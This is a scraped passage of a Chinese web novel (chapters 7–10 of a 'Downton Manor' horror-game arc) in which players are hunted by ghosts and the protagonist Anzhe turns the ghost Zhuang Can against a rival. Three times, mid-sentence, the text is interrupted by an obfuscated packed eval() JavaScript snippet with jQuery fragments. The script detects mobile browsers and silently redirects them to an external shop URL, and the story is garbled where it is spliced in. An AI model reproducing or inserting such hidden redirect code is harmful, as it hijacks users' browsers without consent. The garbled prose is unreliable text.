祁槐辛捂着自己的左手,从系统商城里兑换出战斗绷带动作飞快地缠。
推门而入的那一刻,祁槐辛看见了已经掐住自己脖子,在镜中倒影里即将被鬼用长发吊死的赵国强。
在赵国强眼中骤然爆发出的喜悦与求救光芒里,祁槐辛拿出道具,咧了咧嘴往赵国强身上甩去。
“别急,”他恶意满满地笑道。
“我这就来救你。”
下一秒,道具技能发动,无声的能量波在这方空间里爆发,刚从二楼摸过来的两只鬼从隐形的状态下被挤出,被迫暴露了身形。
就连吊在赵国强身上的长发鬼也犹豫了一瞬,把缠在赵国强身上的头发紧了紧后。
在庄灿的示意下,那名叫做小花的长发鬼转身,也看向了祁槐辛的方向。
“……!!?”
他刚才没用错道具啊!仇恨值是往赵国强身上转移的没错啊!!
看着向自己包围而来的三个厉鬼,祁槐辛脸色难看得厉害。
你吗的,为什么会这样。
7. 唐顿庄园(七)
祁槐辛想不明白,他怎么会突然吸引到在场所有鬼的仇恨值,明明仇恨转移道具已经使用成功,他身上的仇恨值已经转移到了赵国强身上才对。
他开启自己的天赋真实之眼,狐疑地向赵国强看去。
然后眼睁睁的,祁槐辛看到从自己身上窜出去的黑红仇恨值飞到半空就不动了。
在停滞犹豫了小一会儿后,那僵在黑中泛红的仇恨值突然从面向赵国强的方向调头,笔直而又坚定地朝他回冲而去。
祁槐辛:“……?”
“呵呵,还想跑?”
从水雾中缓缓现形的庄灿盯着祁槐辛,眼珠猩红。
就tm的你是把我关血食献祭里的老登嗷!
仿佛要将胸中的恶气全部出尽般,庄灿扭曲肆意地桀桀怪笑着,周身气息邪异。
而后他肿胀的脸猛地一垮,表情瞬间阴冷。
“喜欢血食献祭是吧?”
肿胀的脑袋中,被锤裂的头盖骨至今隐隐作痛。
腥臭的水雾在卫生间内泛起,庄灿凝视着祁槐辛铁色发青的脸,狰狞一笑。
“今天就让你也尝尝,被特么血食献祭的滋味!”
“……等等,你怎么看着这么眼熟?”
在即将冲上去狂甩大逼兜的前一刻,庄灿的动作突然停住。
它狐疑地上下打量了祁槐辛几眼,发白发胀的脸上表情肉眼可见的迟疑与凝重。
“你认识……‘祁槐辛’吗?”
虽然不清楚庄灿为什么会突然停下,但看着眼前的肿胀鬼影格外严肃,似乎有所忌惮的样子。
一时间,祁槐辛大喜过望,他扶着昏昏沉沉的脑袋,狂喜不已地使劲点头。
“认识认识,我就是!!”
“……你就是祁槐辛,你确定?”
眼前鬼影似乎不信,仍在不死心地确定着。
“你可想好了啊,”终于找回曾经掌控全场的感觉,庄灿逗弄着慢条斯理地询问,迟疑外表下满是掩盖不住的狰狞。
“你确定,你就是‘祁槐辛’?”
“是的!”
祁槐辛大口大口地喘着气,鼻间潮湿腥臭的气息愈发浓重,他捂着头,觉得自己的头痛得好像要裂开。
抱着脑袋使劲锤了几下,祁槐辛点头,眼中闪过淡淡红光。
“我确定!”
“好,这可是你自己说的!”
庄灿大喜过望,它狂笑不已地起身跃出,使劲抡圆了一巴掌就抽在了祁槐辛脸上,将祁槐辛抽得脸皮血液飞溅,宛如陀螺般原地旋转了两三圈。
凄厉尖啸的声音在耳膜上骤然炸响,远处,空灵的潮水声泛起,空气中的水汽愈发浓重。
“好好好,”斑斑血泪从庄灿的眼眶中缓缓流出,庄灿在自己隐隐作痛的大脑袋上锤了两下,看向祁槐辛的目光满是浸透了恶意的狰狞。
“没想到我们两个会这么有缘……没想到你这么快就落在了我的手上!!”
爱血食献祭是吧?
爱乱嚼舌根说我们鬼身上有线索是吧?
今晚不把你头盖骨锤出四条缝,我特么的就不姓庄!
伴随着庄灿凄厉尖啸的音波冲击,原先静静等在它身后的几只鬼齐齐出动。
泛滥的长发如海潮般泛起,在潮湿黏腻的地板上如蛇爬行,反着幽冷白光的镜面里,面容模糊的鬼静静地卧在床上,她侧过头去,看着祁槐辛幽幽一叹,黑洞洞的眼眶中两行血泪流出。
草!
新手副本只是强度较低,又不是没有强度。
此时此刻,幽暗的空间里,被众鬼环绕的祁槐辛再也无法拿出老玩家下新手本的慵容与自在,冷汗狂冒中咬紧牙关。
怎么会这样……怎么会这样!
刚拿出的d级防护罩在生效的下一秒就无声破裂,祁槐辛转身向卫生间的门外跑去,手里的道具跟不要钱般往外狂甩。
不对劲,不对劲!
只是一个简单的新手副本而已,里面的鬼怎么会强成这样!
咚——咚——
原本狭小的房间仿佛无限拉长,被困在长发海洋里的祁槐辛向着印象中的房门位置,手举蜡烛拼命向外跑去,却始终跑不到尽头。
他手中的蜡烛似乎也是个特殊道具,在烛光的庇护下,厕所女鬼小花的头发始终无法靠他太近。
带着腥气的长发潮湿而又黏腻,在祁槐辛周围不死心地环绕窥伺着。
咚咚咚的磕碰声四面八方响起,一块泛着奇异油光的床板从长发遮掩中探出头来。
你吗,又来一个!
他今晚是捅了鬼窝了吗?!
此时此刻,祁槐辛异常后悔。
早知道今晚会这样,他就不来找赵国强转移诅咒了,老老实实待在大厅里拖其他人下水,起码人多能多分担点目标。
本来还想伪装一下高手形象,把这群新人们骗到埋藏着血祭仪式的地下室再杀。
结果现在倒好,好端端的,突然翻车了!
神经病啊,裹在床板外的人皮又不是他磕的,动手的明明是赵国强那个傻逼,这个鬼一直追着他干什么!
祁槐辛举着蜡烛,发了疯般超前拼命跑去,在愈发强烈的惊恐与长时间的超强运动下,祁槐辛的体力飞快流失。
不知不觉间,他眼中泛起的红光愈盛,祁槐辛掐着手里的蜡烛,眼神狰狞中带着满满的凶光。
死,都得死!在这里活着的每一口呼吸都是原罪,只有死去才能获得永久的安宁!
脑海中,有声音在对祁槐辛轻轻诉说着,喃喃飘忽的感觉仿若呓语。
又仿佛有人扯着嗓子在他脑子里刺耳尖叫,歇斯底里的满是怨毒。
都要死,你们都要死!
去死啊!!
死!!!
层层叠叠的声音堆在一起,嘲杂得听不清楚,又仿佛撕开了头骨拿着大喇叭对准天灵盖般,每个字都听得异常清晰。
跑不动了的祁槐辛停下脚步,痛苦地抱住头,烛火烧到了他的眼角与鬓角,他却仿佛完全感受不到般,蜷缩在地上痛苦哀嚎。
“滚开啊,滚开,你们这些恶心的东西!”
滋——滋滋——
似乎是受空气中潮气的影响,烛火本就不太明亮的火光愈发微弱。
在四周徘徊游弋着的头发绕着圈,蜿蜒匍匐着向祁槐辛的口鼻灌去,藏在头发丛中的人皮床板探出头来,镜子中一直凝视着祁槐辛的女鬼猩红嘴唇微笑,迫不及待地将脸皮撕下,庄灿桀桀怪笑着跃上半空,沙包大的肿胀拳头腥臭。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521027|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>黑暗中,有人轻轻地叹了口气。
再然后,宏大的钟声便在古堡内敲响。
咚——
第一声钟鸣响起,浴室中的一切定格,水银般奇妙的光辉在这方小空间里扫过,强行定住了所有鬼和人的动作。
咚——
第二声钟鸣响起,浴室内的空气开始凝固,庄灿察觉到体内流动着的液体逐渐冻结,猩红的眼珠在眼眶中狂转。
咚——
第三声钟鸣响起,如镜子破碎般清脆的噼啪声连续不断,被强行凝固住的鬼无声尖叫,在逐渐爆起的破裂声中飞快消失。
浴室,或者说卫生间冰冷的地板上,只剩祁槐辛一人蜷缩在地,微弱的烛光仍在灼烧着他的眼角。
“……啊!!”
仿佛才感觉到痛般,祁槐辛将手中的蜡烛丢掉,抱着被烧坏了的半张脸痛苦哀嚎。
下一秒,丢失的理智逐渐回笼,祁槐辛连滚带爬地将在地上滚了几滚,跑到了卫生间后方浴缸处的红色蜡烛收回背包,而后惊魂不定地扶着浴缸站了起来。
在那些鬼消失前的最后一秒,祁槐辛余光瞥到还有个小鬼站在他肩膀上,乌青的小手盖在他的眼前,力道大到恨不得将他的眼珠子直接扣出。
——怪不到他一直跑却始终跑不出这里,原来是遇上了小鬼遮眼,一直在原地踏步。
今晚前来袭击他的鬼不是三个,而是四个。
但祁槐辛想不明白的是,为什么?
他进副本后的行为并不出挑,前面更还有赵国强这个仇恨值更高的人顶着,怎么这群鬼就突然抱团,在向来不是很危险的第一晚就找上了他?
想想那个肿胀鬼影在出手前特意问了下他名字的诡异态度,祁槐辛直觉他今晚的遭遇与这有关。
头好疼,刚刚好像是磕到脑袋了。
从系统商城中兑换处专治烧伤的创可贴,祁槐辛给自己贴上,同时眼神阴郁地向浴室角落里扫。
或许是刚刚房间里的鬼都忙着对付他,赵国强这个最开始着道的胖子反倒是没事。
他此时正面色惊恐地蜷缩在角落处,两眼翻白的样子仿佛是被吓晕了,只有手脚以及衣服翻上来露出的肚皮处,还带着被什么东西粗糙扎紧后留下的红痕。
啧……
本来想挡木仓的,结果变成了被挡木仓的。
祁槐辛看着赵国强这幅“香甜”睡去的样子就很是不爽,他垂头站在原地,眯着眼,思考要不要现在就将赵国强给结果掉。
砰——
就在祁槐辛冷笑着向赵国强大步走去之际,在他身后,原先紧闭的浴室门突然传来巨响。
老旧的雕花木门被一脚踹开,一群人呼呼啦啦地涌入,又都挤在门口,看向他的眼神怀疑中带着满满的震惊。
……怎么回事,他准备屠本的消息暴露了?
祁槐辛心里一惊,皱眉冷冷地向门口众人看去。
在祁槐辛冷酷且逐渐阴郁的眼神中,站在门口第一个的安哲笑眯眯开口。
张嘴就把祁槐辛气了个半死。
“咦,你还没死啊哥哥?”
【收集到祁槐辛的负面情绪,能量值+99!】
…
【收集到庄灿的负面情绪,能量值+666!】
8. 唐顿庄园(八)
“你放心,你们死光了我都不会出事。”
面对着安哲上来就看似关心的贴脸嘲讽,祁槐辛脸色冷郁,胸中杀心渐起。
“怎么,看见我没死你们很失望?”
“当然不是,你怎么会这么想我呢哥哥?”
安哲笑眯眯地举起手中日记本,他左顾右看地在浴室里打量一圈,回答漫不经心的。
“刚才厕所这边动静好大,原本被未知能量屏蔽的文字又突然能看清了一部分,我们猜是出事了,所以赶紧过来救你啊哥哥。”
“一片好心就这样被你辜负,真让人伤心。”
祁槐辛:“……”
祁槐辛被安哲安静垂眼,浑然天成的柔弱绿茶样子恶心得不得了。
叽里咕噜地骂了串很脏的脏话,祁槐辛冷眼扫视着眼前这群萌新,深深地吸了口气。
“你们……”
“这浴室里只有你一个人吗哥哥?”
安哲才不管祁槐辛开不开心,他一口一个的“哥哥”喊着,拿祁槐辛刷情绪值刷得飞起。
看着眼前大片刷过的情绪值记录,安哲轻轻地蹙起眉头。
在得到祁槐辛“不是跟你说了那边还躺着一个,你瞎吗?”的无情嘲讽后,安哲笑眯眯地往赵国强躺着的地方走去,动作自然地捏起拳头。
“哥哥,哥哥?”
安哲顺手拿过浴缸旁立着的刷子,在晕倒了的赵国强身上使劲地捣,伴随着他的动作,赵国强身上出现了一层肉浪。
“你还醒着吗哥哥,真的昏倒了吗哥哥?”
【收集到庄灿的负面情绪,能量值+555!】
【收集到庄灿的负面情绪,能量值+666!】
伴随着安哲的动作,系统后台记录中,来自庄灿的情绪收入记录又开始大规模刷屏。
果然,刚才在浴室门口他就感觉不对了。
刚才纠缠祁槐辛的鬼有好几个,但是从他出现在门口处的那一刻起,负面情绪开始大规模刷屏的却只有庄灿一个。
其他鬼贡献的情绪值记录都是零零散散的,远没有庄灿这么大气。
看着‘赵国强’躺在地上,死挺着闭眼就是不动的样子,安哲垂眼,一刷子打在‘赵国强’厚厚的肚皮上。
“你再不起来的话,”安哲笑眯眯说道,“我就要手动把你打起来了哦。”
“……起来了起来了,哈哈你看你这娃,我就是跟你们开个玩笑,那么认真干什么。”
就这样,在门口众人日了狗的震惊眼神中,原本躺在浴缸旁一动不动,就连受惊昏过去的白眼都翻得及其拟人的赵国强揉了揉被安哲拍了好几下的肚子,咕噜一下就从地上爬起。
迎着众人震撼且不解的目光,赵国强似乎也觉得自己这样有点丢人。
他憨憨地挠了挠头,注意到安哲审视的目光后又紧急把手放下,站在原地僵了一会儿,赵国强手足无措地说道。
“这不是值夜的排班马上就要轮到我了,我想避一下来着。”
见状,门口处的黑框眼镜男脸色一黑,在心里无声地飙了串脏话。
今晚排班时为了以示公平,他特意将自己和目前明面上来说唯二被鬼盯上的赵国强排在了一起。
现在赵国强装死晕倒,要不是安哲发现的话,等下晚上值班的人岂不是只有他一个?
在这种鬼地方守夜,没有人相互照应的话,鬼知道会发生什么。
在祁槐辛和赵国强两人过于凄惨的样子上扫过,尤其是在祁槐辛这个大家印象中的高手身上扫了一眼,黑框眼睛男咬牙,脸色愈发阴沉。
“大家都是一个团队的,赵哥你这样做不太好吧?”
赵国强似乎也知道自己这样做不对,低头嚅嗫着没有吭声。
“好了,这里是什么灯光很好的风水宝地吗,都挤在这里做什么?”
祁槐辛被一群人堵在厕所里,正是心烦的时候,他阴着脸把人往外赶,说话间扯到了伤口,表情便愈发阴沉。
“赶紧出去看线索吧,不是说日记本上面出字了吗?”
“对对,赶紧去看看吧,”仿佛在庆幸有人给自己解围般,赵国强松了口气,胖脸堆出一个憨笑。
“我也很好奇里面到底讲了什么。”
见状,安哲眉梢轻轻一挑。
他若有所思地向赵国强看去,对上安哲审视的视线,赵国强动作自然地将目光错开。
“赶快出去吧,”特意看了眼安哲,赵国强意有所指地说道。
“继续在这里待下去,我怕等下我再被害了。”
赵国强的“被害”指的自然是白天他摔打人皮床板,然后被鬼记恨盯上这件事,这事本来错就在他,现在他又拿出来强词夺理,大家笑笑也没附和。
重新回到一楼大厅,明亮的灯光亮起,周围的黑暗被驱散,仿佛阴冷的潮气都消退了些许。
大家围坐在沙发旁,一起阅读摊在小桌上的日记本。
“x月x日多云
天气又阴了起来,好久没有见过阳光了。今天他们又把我关了起来,说我没有▇▇,我不懂,这样真的对吗?”
“x月x日阴
天气越来越差了,太阳从▇▇▇后就再也没见过,空气中到处都是湿漉漉的霉味,家里越来越臭了,该死,真不该▇▇的。”
“x月x日小雨转中雨
仪式就要开始了,他们说▇▇▇▇▇,但是这样真的能行吗?好不安,每晚我做梦都能听到潮水响起,一点一点地将我淹没,我觉得这不是个好兆头,但是妈妈说只要等仪式结束后就好了,希望如此吧,神一定会保佑我们的。”
“x月x日雷暴
该死,我们被骗了!▇▇根本就不是▇▇▇,他们都是骗子!骗子!!所有人都被害死了,现在我要去终止这一切,不能再继续错下去了,神不会再保佑我们,这一切都是那群该死的▇▇的骗局!”
好消息,终于有了点能看到的线索。
坏消息,或许是死的人不够,日记本上的关键文字全都被遮住,透露出来的都是些不知所云的文字,看得人一头雾水。
“这都……说的是什么?”
赵国强下意识地想要锤脑袋,眉头皱得死紧。
举起手来的那一刻,看着安哲意味深长的眼神,赵国强又将举起的手讷讷放下,忽然有点生气。
“看什么看,你老盯着我看干啥?!”
平静沉思的氛围被打破,坐在赵国强旁边的年轻小胖子甚至被吓得打了个激灵。
伴随着赵国强的诘问,在场所有人的目光下意识地向安哲看去。
“我在关心你啊哥哥,”安哲笑眯眯的,表情看起来无辜极了。
“你今晚怎么一直在锤头,是刚才晕倒的时候磕到了头吗,疼不疼啊?”
“……”,赵国强的胖脸肉眼可见地抽搐了几下。
他死死凝视着安哲,样子很明显是想找茬的,但不知为何最后又突然怂了。
呵呵地笑了两声,赵国强往小胖子那边挪了挪,让自己离安哲离得更远,皱眉闷声说道。
“先看日记吧……你们都看出了什么?”
“……”
赵国强这话问的,有种不识字的文盲智障般的美感。
黑框眼睛男眼角抽搐了一下,眼中有淡淡的红光闪过,最终,他深吸一口气,终究还是耐着性子率先说道。
“天气应该是个很重要的因素,从日记中可以看出,随着那个仪式的逐渐进行,天气也变得越来越坏。”
“你们注意到外面的天气了吗,从我们进入古堡后,窗外的天气就越来越阴,日记本里的天气从一开始的多云变成最终的雷暴雨,我觉得这是在暗示我们什么。”
“还有那些骗子,是他们骗古堡里的人进行的某种仪式,最终导致了古堡当年惨案的发生,他们的身份应该也是个重点。”
坐在赵国强旁边的小胖子很是不安,在简短地说完自己对骗子的看法后,他偷偷看了赵国强一眼。
犹豫了片刻,最终他起身,挪到了安哲身边。
安哲:“……?”
看着安哲歪头看来的好奇视线,小胖子没忍住又是一抖。
他往安哲身边挪了挪,缩在那里小声说道。
“我,我我,我有点颜控,我从小就喜欢和漂亮的人待在一起。”
所有人:“……”
进副本里还颜控成这样,这是什么究极颜狗。
今晚刚有两个人被鬼袭击过,所有人都察觉到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521028|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了那迫在眉睫的危机感。
大家把小胖子的颜控换位言论当做插曲一笑而过,抓紧时间头脑风暴,继续讨论日记本里透露出来的线索。
只有小胖子直播间里寥寥无几的观众炸了,原本嘲笑小胖子怂的嘻嘻哈哈言论开始凝重。
[我没记错的话,主播天赋好像是运气方面的吧?特意换位到了那个颜值主播旁边,这是图啥?]
[上一次见主播表情凝重成这样,还是在房间躲鬼,鬼开始二段化,有一说一主播运气是真的好,鬼刚开始二阶段时间就到了,他虽然躲得最狼狈,但也是少数无伤的]
…
[话说,这种特殊天赋的主播挺少的吧,估计出去就要被抢,至暗教团?噩梦委员会?感觉都不太适合他啊……]
[emmmm也有可能是守夜人?不过守夜人收人标准一直挺迷的,特殊天赋只要能熬过前期,成长起来都挺强的,就是大多数都活不过成长期惹,2333]
由于讨论到的都是被系统和谐的内容,小胖子直播间的弹幕区空荡荡的。
瞄了眼自己空无一字的弹幕区,再看看没超过两位数的观看人数,在愈发迫近的危机感压迫下,小胖子眼含热泪,下意识地往安哲那边又挤了挤。
“……哥哥,”安哲差点被他挤下沙发,“你挤到我了。”
安哲本来坐在赵国强旁边,小胖子跟过来后安哲嫌挤,就从大沙发挪到了一边的小沙发上,没想到小胖子也跟了过来。
看着不好意思向他道歉的小胖子,安哲叹了口气,从小胖子挪出来的位置上坐回去了一点。
见小胖子始终一脸紧绷的样子,安哲实在没忍住,抬手在小胖子身上悄悄一戳。
“你没事吧?”
抬手率先犯贱的安哲一脸正气:“感觉你很紧张的样子。”
“……”,被他戳得猛一激灵的小胖子梗了一下。
他抬眼看着安哲,似乎是在犹豫,往正在激情讨论的其他人那边看了一眼,小胖子咬牙,下定了某种决心。
“大佬,你能不能保护我一下?我的天赋是‘好运连连’,能在副本里趋吉避凶,感知危险,这个副本我感觉特别邪性,邪得吓人啊大佬!!”
“大佬你放心我掏保护费的,进副本的那间屋子我找到了四件道具,全给你大佬。你以后下本有需要的话也都可以喊我,随叫随到的……”
安哲:“……?”
什么玩意,屋里还能找到道具的?
有的人,初始屋里能刷出三只鬼。
有的人,初始屋里能刷出四个道具。
即便在末世里没有运气欧非这一说法,这一刻,安哲还是无师自通地领悟了非酋对欧皇和海豹的羡慕与痛恨。
被小胖子碎碎念的大佬喊得头疼,安哲制止了小胖子的念叨话语。
他从小胖子分享过来的道具里挑了两样跟剧情有关的功能道具,而后在小胖子泫然欲泣的心碎目光中,安哲摇了摇头。
“你太弱了,这两件道具你留着防身吧,你这是什么表情?……哦我不是拒绝你的意思,我答应了……你哭什么……别哭了他们都看过来了!”
紧张刺激的环境中心情骤然的大起大落,小胖子一个没绷住,眼泪刷的就飙了出来。
感受到这边动静,那边讨论得正热火朝天的众人往这边瞄了一眼,见是小胖子在抱着安哲狂掉眼泪后,又嫌弃不已地又将视线挪开。
估计自己已经和小胖子一起被打上了变态标签的安哲:“……”
“你正常点。”
将眼泪汪汪的小胖子扶起,安哲将他探(殴)索(打)出来的情报通过系统,给小胖子分享了过去。
片刻后,看着自己失心疯般往上飞蹿的探索值,小胖子眯缝般的小眼睛愣是被吓得溜圆。
拍了拍小胖子的脑袋,示意他安静不要过于激动和吵闹,安哲看着小胖子刚刚分享过来的道具,沉吟片刻开口。
“这样吧,我也不让你白花这两个道具。”
伴随着安哲话落,小胖子的天赋开始发作,危机雷达轰鸣作响。
按住了小胖子无措扑腾的胖手,安哲跃跃欲试地说道。
“看见那边那群人了吗?准备好,看我给你整个大的!”
9. 唐顿庄园(九)
“不不不,大佬,等一下,我现在就挺满意的了……”
岂止是满意,简直是超满意的好吗!
阅读完日记本后,在场众人的探索度涨了差不多10个百分点,再加上安哲分享给小胖子的情报,此时此刻,小胖子的探索度已经飙升到了四十多。
四十多!
探索度到六十就可以通关离开了,这才第一天晚上,谁家好人下副本能这么下啊!
本来打算抱大腿,抱上后却发现这大腿远比自己想象的还要金光灿灿和粗壮。
被安哲这出手就是三十多的副本探索度惊到,已经觉得物超所值了的小胖子赶紧拍着胸-脯,向安哲大表决心。
“大佬你放心,我不是那么不知轻重的人,你给我分享过来的探索度,价值早就超过那两件道具了,我懂的,我们接下来只需要耐住性子,小心谨慎地将最后一部分探索度补上,然后我们就可以脱离副本……大佬,大佬?!”
见安哲似乎在发呆,小胖子李祥在安哲面前晃了晃手,小心翼翼地四周警戒。
“是出什么事了吗大佬?”
“哦,没事,”安哲回过神来,“就是感觉刚才有人好像在看我。”
深深地呼了口气,压下心中被偷窥的烦躁,安哲弯了弯眼睛,冲小胖子竖了个拇指。
“老板放心,看我给你整个花活,等下跟在我身边看戏就好,包满意的!”
“不不,大佬,你等等……”
李祥手足无措地被安哲提溜了过去。
他们过去时,围坐在日记本旁的一群人也讨论得差不多了,安哲听了一耳朵,发现内容还是之前说的那些。
“所以……你们刚才都讨论了什么?”
面对安哲的疑惑发问,刚才一起讨论的几人顿时有种假努力被人当面戳破的羞愤感。
“那你又给这个团队贡献了什么?在我们讨论的时候躲得远远的,等讨论完了过来直接享受成果吗?”
推了推鼻梁上架着的眼镜,黑框眼镜男犀利发问。
“别吵别吵,大家别吵,有话好好说吗。”
小胖子夹在两边中间,努力当和事佬,他想不明白,之前明明挺紧张严肃的气氛,为什么在靠近安哲后会歪得这么离谱。
看着一群人激情斗嘴的样子,恍惚间,李祥觉得自己仿佛回到了大学小组讨论甩锅撕逼的现场。
激烈是挺激烈的,就是没有半点下本的氛围。
李祥:“……”
这就是大佬自带的气场吗,你们醒醒我们现在还在诡异副本里啊啊啊!
或许是李祥幽怨悲愤的悲鸣唤醒了众人残存的警惕,在小胖子的努力劝解下,一群人终于放下争执坐了下来。
——安哲和小胖子坐在远一点的小沙发上,祁槐辛单独一人坐,其他人三人挤在正中间的大沙发上,冷笑睥睨地看着其他人。
“说吧,你们刚才鬼鬼祟祟地凑到那边,是发现了什么?”
“……哥哥,你有没有觉得你有点太放松了?”
安哲看着黑框眼镜男双手抱胸,冷笑着靠在赵国强身上,两人好得像是亲兄弟般的坐姿,整个人欲言又止。
片刻后,得到了黑框眼镜男“管好你自己”的冷冷嘲笑,安哲摊了摊手,将道具拿出。
“这是我之前在房间里找到的道具,”由于小胖子的强烈要求,找到道具的人变成了安哲。
将那张薄薄的纸张放在众人中间的小圆桌上,安哲看着和黑框眼镜男挤在一起,将仗势欺人和色厉内荏诠释得很像的赵国强,轻声开口。
“庄灿,你还记得你是怎么死的吗?”
“……什么庄灿,我们这里哪里有人叫庄灿的?”
赵国强僵了一下,伸手对安哲指指点点。
“你不要老在这里装神弄鬼的……”
“b005次实验,潮生回响,还记得吗?”
安哲凝视着‘赵国强’,窗外不知何时下起了雨,雨声浩荡。
“刚才看日记的时候你一直在拿着日记本看,看了那么久却从来没有翻页过,是不耐烦,还是根本看不懂上面的文字?”
“听说冤死鬼因为怨气太大,会忘掉自己死亡的原因,庄灿,你还记得你是怎么死的吗?”
一阵阴风吹过,大厅内亮着的吊灯闪烁了几下后熄灭。
原本跟赵国强哥俩好般坐在一起的黑框眼镜男从沙发上弹射起步,他惊愕扭头,发现原先坐在沙发上的赵国强已经消失不见,取而代之的,是一个肿胀而又苍白的巨大身影。
轰鸣的雷声炸裂,刺眼的雷光短暂照亮了室内的场景。
在一片寂静无声中,庄灿泛白的眼中流下了猩红血泪,他脖子扭转180度向安哲看去,仿佛陷入了某种诡异的癔症般,口中喃喃说道。
“是啊,我是怎么死的呢?……我已经死了啊……我是怎么死的呢……我是怎么死的!!”
尖锐而又刺耳的哀嚎声在大厅内想起,阴冷的寒气四溢冲击,轰隆隆的雷鸣在窗外炸响,远方,模糊地传来了潮水流动的声音。
“你们都要死,你们都要死!!!”
庄灿嘶鸣哀嚎着,痛苦不已地抱住了头,他在脑袋上使劲锤了几下,锤了好一会儿后,抬起头,目光猩红地看向了……
祁槐辛所在的方向!
“你吗!”
祁槐辛转身看见安哲站在自己身后,气得脸都绿了。
往马上就要冲到他脸上的肿胀鬼影身上丢了个限制道具,祁槐辛脸色铁青,目光阴毒地向安哲看去。
在场的眼都不瞎,都能看出询问鬼死亡原因,引发鬼狂暴失智的安哲,才是肿胀鬼影追击的首要目标。
因此除了那个被安哲缠上的倒霉蛋,其他人逃命时都跑得离安哲远远的。
俗话说得好,在野外遇上熊时你不需要跑得过熊,只需要比你同伴跑得快就够了,遇上鬼时也是同理。
此时此刻,早已跑远的黑框眼镜男和另一个人停下脚步,躲藏好后幸灾乐祸地看着安哲他们被肿胀鬼影追着,满大厅乱跑四处逃窜的身影。
安哲身后,祁槐辛看着眼前怎么跑都摆脱不了的身影,整个人很是绝望。
他今晚先是在浴室被一群鬼围殴,体力差不多消耗尽了,出来后在大厅里歇了没一会儿,又开始被安哲拉着玩被鬼追的跑不过就死马拉松。
明明是个颜值主播,还拖着个拖油瓶的小胖子,却愣是跑得比他还快。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521029|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肌肉传来撕裂般的痛楚,祁槐辛跑得眼前发黑。
他看着前面始终跑得比他快上一些,身后跟长了眼睛一样,他往哪跑就紧跟着往哪跑,导致他始终夹在前面和鬼中央的安哲,恨得眼睛充血。
要不是被身体条件限制,此时祁槐辛的眼中一定也是红光大冒,说不定比身后追着的庄灿还要眼红几分。
“他吗的……神经病啊!”
祁槐辛不是没尝试过往安哲身上扔道具,但是物理道具,安哲凭借着矫捷身影迅速绕过,留在原地的道具反而成了紧随其后的他的阻碍。
精神控制方面的道具更是离谱,扔在安哲身上跟没扔一样,泥牛入海般完全没有效果,还不如往身后的肿胀鬼影身上扔来得有效。
“日了狗了,什么时候颜值主播变得这么强了?”
祁槐辛跑到想要吐血,恨到牙都快要咬碎。
最终,实在跑不动了的祁槐辛就地一滚,用尽了最后的力气尽可能地滚远了一点。
看着立马就转向往自己这边跑来的安哲,趴在地上的祁槐辛冷笑一声,脸色阴沉,肉痛不已地从系统背包中拿出了个道具。
“……神奇小道具这么多的吗哥哥?”
清晰地从祁槐辛手上道具里察觉到了铺面而来的凛冽死亡与阴冷杀机,安哲脚步一拐,拖着身后的小胖子溜着鬼,换了个别的方向跑去。
可惜的是已经迟了,在刚才的速度与激情逃命环节中,安哲已经被早有预谋的祁槐辛通过不断地转换方向,给引路带到了通往二楼的方向。
此时此刻,身后的肿胀鬼影已经爬上了二楼的楼梯。
退路被堵住的安哲咬牙,在犹豫了一小下后,果断往二楼的走廊深处冲去。
蠢货。
见状,正趴在地上喘息,呼吸间满是血腥味的祁槐辛阴冷一笑,烧伤丑陋的脸上满是大仇得报的快意。
二楼深处的气息阴冷强盛,之前探索的时候他都没敢过去,现在安哲拖着个拖油瓶,被鬼追杀着跑过去。
前后夹击之下,惊醒了深处沉睡着的存在,这家伙必死!
果不其然的,片刻后,凄厉无比的哀嚎声从二楼深处传出,在一阵令人毛骨悚然的咀嚼声后,二楼没有了声息。
“呵!”
大仇得报的祁槐辛开朗一笑。
“看到了吗?”
祁槐辛从地上爬起,他眼神扫过分开两边藏匿着的眼镜男和另一个男人,眼神阴冷而又酷厉。
他也知道刚才形象有点丢人,这会儿被人陷害的追逐战终于结束,祁槐辛试图在直播观众们面前给自己刷回点印象分。
“这就是得罪我的下场!”
同一时间,二楼主卧处。
小胖子抱着个不断传出咀嚼声的收音机,缩在角落里瑟瑟发抖。
靠近门的那边,庄灿同样缩在角落里抱着头,血一般殷红的眼泪狂飙。
“别打了呜,别打了啊,不都是照着你说的演的吗!”
【收集到庄灿的负面情绪,能量值+555!】
“呜,别打了……我不就临场发挥给自己加了点戏吗,至于动手成这样!?”
【收集到庄灿的负面情绪,能量值+666!】
10. 唐顿庄园(十)
由于庄灿哭得实在是过于凄惨,以至于打着打着,小胖子都有点看不下去了。
“安哥,要不算了吧,他那会儿也就是想啃我们几……不对,你和安哥说好的啊,怎么还对我们下手?!”
